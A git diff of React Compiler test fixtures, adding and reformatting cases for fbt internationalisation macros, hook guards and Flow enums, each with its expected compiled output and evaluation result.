diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.expect.md
index 5ac0ad17a064..b5bf4f965879 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { fbt } from "fbt";
+import {fbt} from 'fbt';
 
 function Component() {
   const buttonLabel = () => {
     if (!someCondition) {
-      return <fbt desc="My label">{"Purchase as a gift"}</fbt>;
+      return <fbt desc="My label">{'Purchase as a gift'}</fbt>;
     } else if (
       !iconOnly &&
       showPrice &&
@@ -15,14 +15,14 @@ function Component() {
     ) {
       return (
         <fbt desc="Gift button's label">
-          {"Gift | "}
+          {'Gift | '}
           <fbt:param name="price">
             {item?.current_gift_offer?.price?.formatted}
           </fbt:param>
         </fbt>
       );
     } else if (!iconOnly && !showPrice) {
-      return <fbt desc="Gift button's label">{"Gift"}</fbt>;
+      return <fbt desc="Gift button's label">{'Gift'}</fbt>;
     }
   };
 
@@ -42,47 +42,41 @@ import { c as _c } from "react/compiler-runtime";
 import { fbt } from "fbt";
 
 function Component() {
-  const $ = _c(2);
+  const $ = _c(1);
+  const buttonLabel = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      if (!someCondition) {
-        return fbt._("Purchase as a gift", null, { hk: "1gHj4g" });
-      } else {
-        if (
-          !iconOnly &&
-          showPrice &&
-          item?.current_gift_offer?.price?.formatted != null
-        ) {
-          return fbt._(
-            "Gift | {price}",
-            [fbt._param("price", item?.current_gift_offer?.price?.formatted)],
-            { hk: "3GTnGE" },
-          );
-        } else {
-          if (!iconOnly && !showPrice) {
-            return fbt._("Gift", null, { hk: "3fqfrk" });
-          }
-        }
-      }
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const buttonLabel = t0;
-  let t1;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = (
+    t0 = (
       <View>
         <Button text={buttonLabel()} />
       </View>
     );
-    $[1] = t1;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp() {
+  if (!someCondition) {
+    return fbt._("Purchase as a gift", null, { hk: "1gHj4g" });
   } else {
-    t1 = $[1];
+    if (
+      !iconOnly &&
+      showPrice &&
+      item?.current_gift_offer?.price?.formatted != null
+    ) {
+      return fbt._(
+        "Gift | {price}",
+        [fbt._param("price", item?.current_gift_offer?.price?.formatted)],
+        { hk: "3GTnGE" },
+      );
+    } else {
+      if (!iconOnly && !showPrice) {
+        return fbt._("Gift", null, { hk: "3fqfrk" });
+      }
+    }
   }
-  return t1;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.js
index 539fc7e1f60a..4c326183bde1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.js
@@ -1,9 +1,9 @@
-import { fbt } from "fbt";
+import {fbt} from 'fbt';
 
 function Component() {
   const buttonLabel = () => {
     if (!someCondition) {
-      return <fbt desc="My label">{"Purchase as a gift"}</fbt>;
+      return <fbt desc="My label">{'Purchase as a gift'}</fbt>;
     } else if (
       !iconOnly &&
       showPrice &&
@@ -11,14 +11,14 @@ function Component() {
     ) {
       return (
         <fbt desc="Gift button's label">
-          {"Gift | "}
+          {'Gift | '}
           <fbt:param name="price">
             {item?.current_gift_offer?.price?.formatted}
           </fbt:param>
         </fbt>
       );
     } else if (!iconOnly && !showPrice) {
-      return <fbt desc="Gift button's label">{"Gift"}</fbt>;
+      return <fbt desc="Gift button's label">{'Gift'}</fbt>;
     }
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.expect.md
new file mode 100644
index 000000000000..93a9b869f670
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.expect.md
@@ -0,0 +1,109 @@
+
+## Input
+
+```javascript
+// @flow
+import {fbt} from 'fbt';
+
+function Example({x}) {
+  // "Inner Text" needs to be visible to fbt: the <Bar> element cannot
+  // be memoized separately
+  return (
+    <fbt desc="Description">
+      Outer Text
+      <Foo key="b" x={x}>
+        <Bar key="a">Inner Text</Bar>
+      </Foo>
+    </fbt>
+  );
+}
+
+function Foo({x, children}) {
+  'use no memo';
+  return (
+    <>
+      <div>{x}</div>
+      <span>{children}</span>
+    </>
+  );
+}
+
+function Bar({children}) {
+  'use no memo';
+  return children;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{x: 'Hello'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { fbt } from "fbt";
+
+function Example(t0) {
+  const $ = _c(2);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = fbt._(
+      "Outer Text {=m1}",
+      [
+        fbt._implicitParam(
+          "=m1",
+
+          <Foo key="b" x={x}>
+            {fbt._(
+              "{=m1}",
+              [
+                fbt._implicitParam(
+                  "=m1",
+                  <Bar key="a">
+                    {fbt._("Inner Text", null, { hk: "32YB0l" })}
+                  </Bar>,
+                ),
+              ],
+              { hk: "23dJsI" },
+            )}
+          </Foo>,
+        ),
+      ],
+      { hk: "2RVA7V" },
+    );
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+function Foo({ x, children }) {
+  "use no memo";
+  return (
+    <>
+      <div>{x}</div>
+      <span>{children}</span>
+    </>
+  );
+}
+
+function Bar({ children }) {
+  "use no memo";
+  return children;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{ x: "Hello" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) Outer Text <div>Hello</div><span>Inner Text</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.js
new file mode 100644
index 000000000000..f89289fb039f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.js
@@ -0,0 +1,35 @@
+// @flow
+import {fbt} from 'fbt';
+
+function Example({x}) {
+  // "Inner Text" needs to be visible to fbt: the <Bar> element cannot
+  // be memoized separately
+  return (
+    <fbt desc="Description">
+      Outer Text
+      <Foo key="b" x={x}>
+        <Bar key="a">Inner Text</Bar>
+      </Foo>
+    </fbt>
+  );
+}
+
+function Foo({x, children}) {
+  'use no memo';
+  return (
+    <>
+      <div>{x}</div>
+      <span>{children}</span>
+    </>
+  );
+}
+
+function Bar({children}) {
+  'use no memo';
+  return children;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{x: 'Hello'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.expect.md
new file mode 100644
index 000000000000..10a2a9ae131e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.expect.md
@@ -0,0 +1,128 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+import {Stringify, identity} from 'shared-runtime';
+
+/**
+ * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.
+ * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:
+ *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier
+ *   ---
+ *   t3
+ *   ---
+ */
+function Component({firstname, lastname}) {
+  'use memo';
+  return (
+    <div>
+      {fbt(
+        [
+          'Name: ',
+          fbt.param('firstname', <Stringify key={0} name={firstname} />),
+          ', ',
+          fbt.param(
+            'lastname',
+            identity(
+              fbt(
+                '(inner)' +
+                  fbt.param('lastname', <Stringify key={1} name={lastname} />),
+                'Inner fbt value'
+              )
+            )
+          ),
+        ],
+        'Name'
+      )}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{firstname: 'first', lastname: 'last'}],
+  sequentialRenders: [{firstname: 'first', lastname: 'last'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+import { Stringify, identity } from "shared-runtime";
+
+/**
+ * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.
+ * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:
+ *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier
+ *   ---
+ *   t3
+ *   ---
+ */
+function Component(t0) {
+  "use memo";
+  const $ = _c(9);
+  const { firstname, lastname } = t0;
+  let t1;
+  if ($[0] !== firstname || $[1] !== lastname) {
+    let t2;
+    if ($[3] !== firstname) {
+      t2 = <Stringify key={0} name={firstname} />;
+      $[3] = firstname;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    let t3;
+    if ($[5] !== lastname) {
+      t3 = <Stringify key={1} name={lastname} />;
+      $[5] = lastname;
+      $[6] = t3;
+    } else {
+      t3 = $[6];
+    }
+    t1 = fbt._(
+      "Name: {firstname}, {lastname}",
+      [
+        fbt._param("firstname", t2),
+        fbt._param(
+          "lastname",
+          identity(
+            fbt._("(inner){lastname}", [fbt._param("lastname", t3)], {
+              hk: "1Kdxyo",
+            }),
+          ),
+        ),
+      ],
+      { hk: "3AiIf8" },
+    );
+    $[0] = firstname;
+    $[1] = lastname;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[7] !== t1) {
+    t2 = <div>{t1}</div>;
+    $[7] = t1;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ firstname: "first", lastname: "last" }],
+  sequentialRenders: [{ firstname: "first", lastname: "last" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>Name: <div>{"name":"first"}</div>, (inner)<div>{"name":"last"}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.js
new file mode 100644
index 000000000000..07efb4e03a84
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.js
@@ -0,0 +1,42 @@
+import fbt from 'fbt';
+import {Stringify, identity} from 'shared-runtime';
+
+/**
+ * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.
+ * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:
+ *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier
+ *   ---
+ *   t3
+ *   ---
+ */
+function Component({firstname, lastname}) {
+  'use memo';
+  return (
+    <div>
+      {fbt(
+        [
+          'Name: ',
+          fbt.param('firstname', <Stringify key={0} name={firstname} />),
+          ', ',
+          fbt.param(
+            'lastname',
+            identity(
+              fbt(
+                '(inner)' +
+                  fbt.param('lastname', <Stringify key={1} name={lastname} />),
+                'Inner fbt value'
+              )
+            )
+          ),
+        ],
+        'Name'
+      )}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{firstname: 'first', lastname: 'last'}],
+  sequentialRenders: [{firstname: 'first', lastname: 'last'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.expect.md
new file mode 100644
index 000000000000..063e45e04e35
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.expect.md
@@ -0,0 +1,124 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
+
+/**
+ * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.
+ * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:
+ *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier
+ *   ---
+ *   t3
+ *   ---
+ */
+function Component({firstname, lastname}) {
+  'use memo';
+  return (
+    <div>
+      {fbt(
+        [
+          'Name: ',
+          fbt.param('firstname', identity(firstname)),
+          ', ',
+          fbt.param(
+            'lastname',
+            identity(
+              fbt(
+                '(inner)' + fbt.param('lastname', identity(lastname)),
+                'Inner fbt value'
+              )
+            )
+          ),
+        ],
+        'Name'
+      )}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{firstname: 'first', lastname: 'last'}],
+  sequentialRenders: [{firstname: 'first', lastname: 'last'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+import { identity } from "shared-runtime";
+
+/**
+ * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.
+ * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:
+ *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier
+ *   ---
+ *   t3
+ *   ---
+ */
+function Component(t0) {
+  "use memo";
+  const $ = _c(5);
+  const { firstname, lastname } = t0;
+  let t1;
+  if ($[0] !== firstname || $[1] !== lastname) {
+    t1 = fbt._(
+      "Name: {firstname}, {lastname}",
+      [
+        fbt._param(
+          "firstname",
+
+          identity(firstname),
+        ),
+        fbt._param(
+          "lastname",
+
+          identity(
+            fbt._(
+              "(inner){lastname}",
+              [
+                fbt._param(
+                  "lastname",
+
+                  identity(lastname),
+                ),
+              ],
+              { hk: "1Kdxyo" },
+            ),
+          ),
+        ),
+      ],
+      { hk: "3AiIf8" },
+    );
+    $[0] = firstname;
+    $[1] = lastname;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== t1) {
+    t2 = <div>{t1}</div>;
+    $[3] = t1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ firstname: "first", lastname: "last" }],
+  sequentialRenders: [{ firstname: "first", lastname: "last" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>Name: first, (inner)last</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.js
new file mode 100644
index 000000000000..38465a628045
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.js
@@ -0,0 +1,41 @@
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
+
+/**
+ * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.
+ * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:
+ *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier
+ *   ---
+ *   t3
+ *   ---
+ */
+function Component({firstname, lastname}) {
+  'use memo';
+  return (
+    <div>
+      {fbt(
+        [
+          'Name: ',
+          fbt.param('firstname', identity(firstname)),
+          ', ',
+          fbt.param(
+            'lastname',
+            identity(
+              fbt(
+                '(inner)' + fbt.param('lastname', identity(lastname)),
+                'Inner fbt value'
+              )
+            )
+          ),
+        ],
+        'Name'
+      )}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{firstname: 'first', lastname: 'last'}],
+  sequentialRenders: [{firstname: 'first', lastname: 'last'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.expect.md
new file mode 100644
index 000000000000..a06b283d0445
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.expect.md
@@ -0,0 +1,79 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * MemoizeFbtAndMacroOperandsInSameScope should also track PropertyLoads (e.g. fbt.plural).
+ * This doesn't seem to be an issue for fbt, but affects other internal macros invoked as
+ * `importSpecifier.funcName` (see https://fburl.com/code/72icxwmn)
+ */
+function useFoo({items}: {items: Array<number>}) {
+  return fbt(
+    'There ' +
+      fbt.plural('is', useIdentity([...items]).length, {many: 'are'}) +
+      ' ' +
+      fbt.param('number of items', items.length) +
+      ' items',
+    'Error content when there are unsupported locales.',
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{items: [2, 3]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+import { useIdentity } from "shared-runtime";
+
+/**
+ * MemoizeFbtAndMacroOperandsInSameScope should also track PropertyLoads (e.g. fbt.plural).
+ * This doesn't seem to be an issue for fbt, but affects other internal macros invoked as
+ * `importSpecifier.funcName` (see https://fburl.com/code/72icxwmn)
+ */
+function useFoo(t0) {
+  const $ = _c(2);
+  const { items } = t0;
+  let t1;
+  if ($[0] !== items) {
+    t1 = [...items];
+    $[0] = items;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return fbt._(
+    {
+      "*": "There are {number of items} items",
+      _1: "There is {number of items} items",
+    },
+    [
+      fbt._plural(useIdentity(t1).length),
+      fbt._param(
+        "number of items",
+
+        items.length,
+      ),
+    ],
+    { hk: "xsa7w" },
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ items: [2, 3] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) There are 2 items
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.tsx
new file mode 100644
index 000000000000..6847159a85d3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.tsx
@@ -0,0 +1,23 @@
+import fbt from 'fbt';
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * MemoizeFbtAndMacroOperandsInSameScope should also track PropertyLoads (e.g. fbt.plural).
+ * This doesn't seem to be an issue for fbt, but affects other internal macros invoked as
+ * `importSpecifier.funcName` (see https://fburl.com/code/72icxwmn)
+ */
+function useFoo({items}: {items: Array<number>}) {
+  return fbt(
+    'There ' +
+      fbt.plural('is', useIdentity([...items]).length, {many: 'are'}) +
+      ' ' +
+      fbt.param('number of items', items.length) +
+      ' items',
+    'Error content when there are unsupported locales.',
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{items: [2, 3]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.expect.md
new file mode 100644
index 000000000000..b8d3ba638eec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.expect.md
@@ -0,0 +1,78 @@
+
+## Input
+
+```javascript
+import {fbt} from 'fbt';
+import {useState} from 'react';
+
+const MIN = 10;
+
+function Component() {
+  const [count, setCount] = useState(0);
+
+  return fbt(
+    'Expected at least ' +
+      fbt.param('min', MIN, {number: true}) +
+      ' items, but got ' +
+      fbt.param('count', count, {number: true}) +
+      ' items.',
+    'Error description'
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { fbt } from "fbt";
+import { useState } from "react";
+
+const MIN = 10;
+
+function Component() {
+  const $ = _c(2);
+  const [count] = useState(0);
+  let t0;
+  if ($[0] !== count) {
+    t0 = fbt._(
+      { "*": { "*": "Expected at least {min} items, but got {count} items." } },
+      [
+        fbt._param(
+          "min",
+
+          MIN,
+          [0],
+        ),
+        fbt._param(
+          "count",
+
+          count,
+          [0],
+        ),
+      ],
+      { hk: "36gbz8" },
+    );
+    $[0] = count;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) Expected at least 10 items, but got 0 items.
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.js
new file mode 100644
index 000000000000..cacd332534b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.js
@@ -0,0 +1,22 @@
+import {fbt} from 'fbt';
+import {useState} from 'react';
+
+const MIN = 10;
+
+function Component() {
+  const [count, setCount] = useState(0);
+
+  return fbt(
+    'Expected at least ' +
+      fbt.param('min', MIN, {number: true}) +
+      ' items, but got ' +
+      fbt.param('count', count, {number: true}) +
+      ' items.',
+    'Error description'
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.expect.md
index b3a98ab6269f..714cd931ae8b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.expect.md
@@ -3,17 +3,17 @@
 
 ```javascript
 // @enableEmitHookGuards
-import { createContext, useContext, useEffect, useState } from "react";
+import {createContext, useContext, useEffect, useState} from 'react';
 import {
   CONST_STRING0,
   ObjectWithHooks,
   getNumber,
   identity,
   print,
-} from "shared-runtime";
+} from 'shared-runtime';
 
-const MyContext = createContext("my context value");
-function Component({ value }) {
+const MyContext = createContext('my context value');
+function Component({value}) {
   print(identity(CONST_STRING0));
   const [state, setState] = useState(getNumber());
   print(value, state);
@@ -28,7 +28,7 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  args: [{ value: 0 }],
+  args: [{value: 0}],
 };
 
 ```
@@ -78,7 +78,6 @@ function Component(t0) {
           setState(5);
         }
       };
-
       t3 = [state];
       $[1] = state;
       $[2] = t2;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.ts
index 6cb8546df7c3..63be7ad4c627 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.ts
@@ -1,15 +1,15 @@
 // @enableEmitHookGuards
-import { createContext, useContext, useEffect, useState } from "react";
+import {createContext, useContext, useEffect, useState} from 'react';
 import {
   CONST_STRING0,
   ObjectWithHooks,
   getNumber,
   identity,
   print,
-} from "shared-runtime";
+} from 'shared-runtime';
 
-const MyContext = createContext("my context value");
-function Component({ value }) {
+const MyContext = createContext('my context value');
+function Component({value}) {
   print(identity(CONST_STRING0));
   const [state, setState] = useState(getNumber());
   print(value, state);
@@ -24,5 +24,5 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  args: [{ value: 0 }],
+  args: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.expect.md
index 904e2f9919c7..35c2f6ae21e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { ObjectWithHooks } = require("shared-runtime");
+const {ObjectWithHooks} = require('shared-runtime');
 
 function Component(props) {
   const x = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.js
index 28e6c0fd2198..75c94eeba9d0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.js
@@ -1,4 +1,4 @@
-const { ObjectWithHooks } = require("shared-runtime");
+const {ObjectWithHooks} = require('shared-runtime');
 
 function Component(props) {
   const x = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.expect.md
new file mode 100644
index 000000000000..dfbf4fbfd936
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @flow
+function Component(props) {
+  enum Bool {
+    True = 'true',
+    False = 'false',
+  }
+
+  let bool: Bool = Bool.False;
+  if (props.value) {
+    bool = Bool.True;
+  }
+  return <div>{bool}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: true}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(props) {
+  const $ = _c(2);
+  enum Bool {
+    True = "true",
+    False = "false",
+  }
+
+  let bool = Bool.False;
+  if (props.value) {
+    bool = Bool.True;
+  }
+  let t0;
+  if ($[0] !== bool) {
+    t0 = <div>{bool}</div>;
+    $[0] = bool;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: true }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Bool is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.js
new file mode 100644
index 000000000000..42708c19e0cc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.js
@@ -0,0 +1,18 @@
+// @flow
+function Component(props) {
+  enum Bool {
+    True = 'true',
+    False = 'false',
+  }
+
+  let bool: Bool = Bool.False;
+  if (props.value) {
+    bool = Bool.True;
+  }
+  return <div>{bool}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.expect.md
index 73b27c88e31d..2468f06e6047 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.expect.md
@@ -14,8 +14,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
